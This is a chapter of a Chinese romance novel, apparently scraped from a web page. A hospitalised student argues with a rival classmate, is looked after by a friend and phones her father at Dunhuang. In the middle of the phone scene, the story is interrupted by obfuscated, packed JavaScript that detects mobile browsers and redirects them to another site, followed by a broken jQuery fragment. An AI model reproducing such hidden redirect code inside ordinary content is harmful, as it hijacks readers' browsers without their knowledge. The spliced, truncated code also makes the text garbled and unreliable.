钟岩哑口无言,她自然没有做过这些背景调查。
一个人在家填志愿时,根本没想太多,只是看到“法学”两个字,一下子让她联系到正义和人性,是她内心喜欢的方面,便这般简单地做了选择。
未来的学业道路如此艰难,钟岩不是一点不慌张。
好在还有石漆,在一旁坚定地鼓励。“没关系,不论什么考试,我相信你一定可以。”
然而,林致远那边还在继续施压。
“你,能不能顺利通过司法考试,我持保留态度。就算你侥幸通过好了,那之后的公务员考试呢?运气会不会还能那么好?”
“同学,法官这条路有点难走啊。身为好朋友——”这个人真的很讨厌,还特地重读了“好朋友”三个字。“我建议你选择做律师吧,不过律师也不容易,要看业务能力,很可能到时候没有律所愿意收你。”
“不行你毕业了就去求求你妈,钟阿姨的医院效益那么好,你要能进去做个法务,肯定也饿不死。”
这才是她熟悉的林致远啊。要是哪天他变得虚怀若谷或者哪怕彬彬有礼,钟岩肯定第一个吓死。
“我绝对不会去求她!”钟岩简直气急败坏。“就算饿死,我去街头卖艺,我去睡天桥!”
“嗯,那你去睡天桥吧。”林致远在一旁淡定地附和。
身后的枕头呢?什么时候被放到了床尾?
手上还插着输液针,钟岩着急地努力伸长另一只胳膊,想够到武器,去砸那个站在窗边的阴险小人。
石漆担心她又发生一次跑针的情况,赶紧虚搂住了钟岩,笑着安慰。
“不会睡天桥的,我拍戏挣到的钱分给你。实在不行,我们就回云梦种地。家里地多。”
最后几个字说时,石漆还冲她眨了眨眼。
林致远无话可说,这世上无知的人是多啊,方圆一米内就分布了两个。
好在他还算识时务,不再打扰屋里的两位理想派人士抱团取暖,放下书包,径自走了出去。
钟岩才不管这个人去了哪里,最好不要回来才好。
病房里这会儿只剩石漆,钟岩赶紧向他打听,中午她不在的那一路上,两个人都交谈了些什么。
石漆当然对她知无不言,但说实话,两个刚见一面的男青年,虽然同龄,但籍贯、成长、爱好千差万别,且俩人的话都少,基本上一路冷场。彼此向对方透露的有关钟岩的信息,少之又少。
钟岩对此很满意。
见她有些犯困,石漆将床上的枕头挪到她身后,好让她靠着休息一会儿。
钟岩还真是有些累了。别说,和林致远这家伙交涉,确实挺消耗体力。
钟岩的双眼闭了一会儿,又突然睁开。“石漆。”
“嗯?”应声的少年,坐在八床的床沿,手中正削着苹果。
钟岩盯着那颗苹果,看了一会儿。
怎么会有人削水果皮的手艺这么好?石漆的右手持刀,固定不动,握住苹果的左手,来回晃动。被剥离的果皮,又薄又长,居然到现在都没断。果然,高手在民间。
钟岩小时候很爱吃苹果,外婆每天都会给她削一个。
后来她上小学,学到那句著名的英文谚语“Anappleadaykeepsthedoctoraway.”原来,有些健康做法是不分国界的。
但很遗憾,无论外婆怎么教她,钟岩都没学会削苹果。
好不容易费了半天力气做一次,就算她人没受伤,削完的苹果也不忍直视。还记得小舅舅当时的嘲笑,说她的手笨成这样,以后绝对做不成外科医生。
上学之后,逢寒暑假回广东时,钟岩才能吃上苹果。
这两年一直留在北京,她只会选择自己能够处理的水果,比如香蕉,橘子之类的。或者,直接买切好的果盘。但便利店的果切,考虑到氧化的问题,通常不会放苹果进去。
红色的果皮完全脱离后,一颗白皙光滑的圆滚滚的果肉,递到了钟岩的面前。
钟岩拿右手接过,她都不记得,自己有多长时间没吃过这种小时候最爱的水果了。
看着这颗水灵灵的果子,钟岩垂涎欲滴,喃喃自语道,“它好好看啊。”
石漆将垃圾桶放回床下原本的位置,抬头拿纸巾擦手。
只听“咔嚓”一声,然后“咯吱咯吱”几下,马上又是“咔嚓”一声,接着照例“咯吱咯吱”。频率快得离谱,毫无间断。
听的人唇角晕开浅笑,心想,有这么饿吗?是不是中午的粥不管饱?
这段没拉屏障的口技表演很快结束了,表演者显得还意犹未尽。
石漆把她吃剩的果核用纸包住扔掉,又给她递了湿纸巾擦手。“要不要再吃一颗?”
钟岩边擦手边摇头,对着他粲然一笑。“每天一颗就好啦。”
“行,明天再给你削。”石漆顿了顿。“你刚刚喊我了。”
“嗯。”钟岩点头。“你把我手机带来了吗?”
“带了。”
石漆原本进了病房就要给钟岩拿手机,但这二位高中同学一见面就拌嘴,全程找不着缝隙给他机会来做这事。
钟岩掀开自己翻盖的摩托罗拉。
里头果然有多通未接电话,其中五通来自她的父亲。时间跨度从昨天上午,到今天中午。剩余的更多通未接,全部显示是林致远。
钟岩调到未读短信的界面,打开了来自她爸的最近一条信息,时间显示是今天中午的12:50,内容简短。
“颜颜,看到短信,给爸爸回电话。”
钟岩快速浏览了父亲之前发送的几条信息,确认他昨天上午,就已经获知自己当时人在湖北。
手机这会儿的电量是满格,钟岩没有多想,看完短信,便拨通了她爸的电话。
那头接得非常快,出乎钟岩的意外。
钟岩清楚,父亲每天的工作大多在石窟内度过,而莫高窟的多数洞窟都开凿在崖体深处,通常一走进石窟,手机里的信号就会连一格都不剩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363183|183788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这几年里,父女俩之间通常是颜回单线联系钟岩,一般会选在她不用上学的周末晚上。
而钟岩,基本不会主动给父亲打电话。因为就算颜老师不在洞窟,戈壁上的信号也时好时坏,处于想联系也联系不上的状况。
“喂,爸爸,”钟岩开口问道,“你今天没上山啊?”
用的是莫高窟人的行话,进到窟区就叫做“上山”。
看到女儿的来电显示,听到女儿熟悉的声音,颜回一直悬着的心终于落了下来。
“对,爸爸今天在所里工作。”
其实颜回他上山了,没有办法,手头这个项目的工作量巨大,一天都停不下来。他只能每一两个小时就出来一趟,找个信号相对好的地方,检查一下手机的情况。
超过一天没有钟岩的消息,颜回原本打算,下午就联系广州的小舅子。
“颜颜,你怎么去湖北了?”电话那头的中年人,温和地问道。
“就,放假了。”钟岩有些含糊其辞。“反正,在北京也没事,就出来走一走。”
“啊对了,爸爸,原来你的水粉画,画得也还不错嘛。”女儿在这头调皮地称赞。“跟你说哦,我就是靠你画家乡的那些水粉画,才在杨家村找到爷爷奶奶家的,我是不是也挺厉害的?”
颜回的专业主要在壁画和油画方面,水粉并不是他的专长。家里为数不多的几张水粉画,的确是颜回特地带着女儿一起画的。
当时,钟岩已经打了五六年的素描基础。学习水粉画可以帮她更好地掌握色彩,也会令她对颜色的透明度产生新的认知。
颜回听女儿说起那些水粉画,回忆了一下时间,差不多是钟岩初一时候的事了,与现在相隔至少五六年。
颜回心中遗憾,他曾经想把水粉画作为过渡,好为之后教女儿自己更擅长的油画和壁画,打下良好的功底。然而,工作调动的缘故,孩子初中还没毕业,他就已经常驻敦煌。
“当然厉害了,我女儿最棒。”颜回不吝称赞。她爸对她的这种夸夸模式,始于和她妈离婚之后。
在那之前,从钟岩三四岁记事开始,长达十年的时间里,颜回都是那种最传统的中国“严父”。
他对女儿的爱婉转内敛,秉持的也是那种“谦虚使人进步,骄傲使人落后”的教育理念。
尤其钟岩还很倒霉,从小到大都有一个令人讨厌的同学。
钟岩考试考95,是不是可以夸一夸了?旁边人小林考了100。
下一次钟岩考到98了,该夸了吧?林致远还是100。
父母分居之后,钟岩开始接受来自父亲的频繁的夸奖。
当面的机会很少,大多是跨越两三千公里的距离,通过信件或电话,传递到北京。
钟岩十三岁那年,父母的离婚,打碎了家里的一扇窗,化成一地的玻璃渣。
如果非要在那堆透明晶体里苦苦寻觅,让她重新拥有一位极少见面的慈父,或许就是那里面唯一的一颗糖。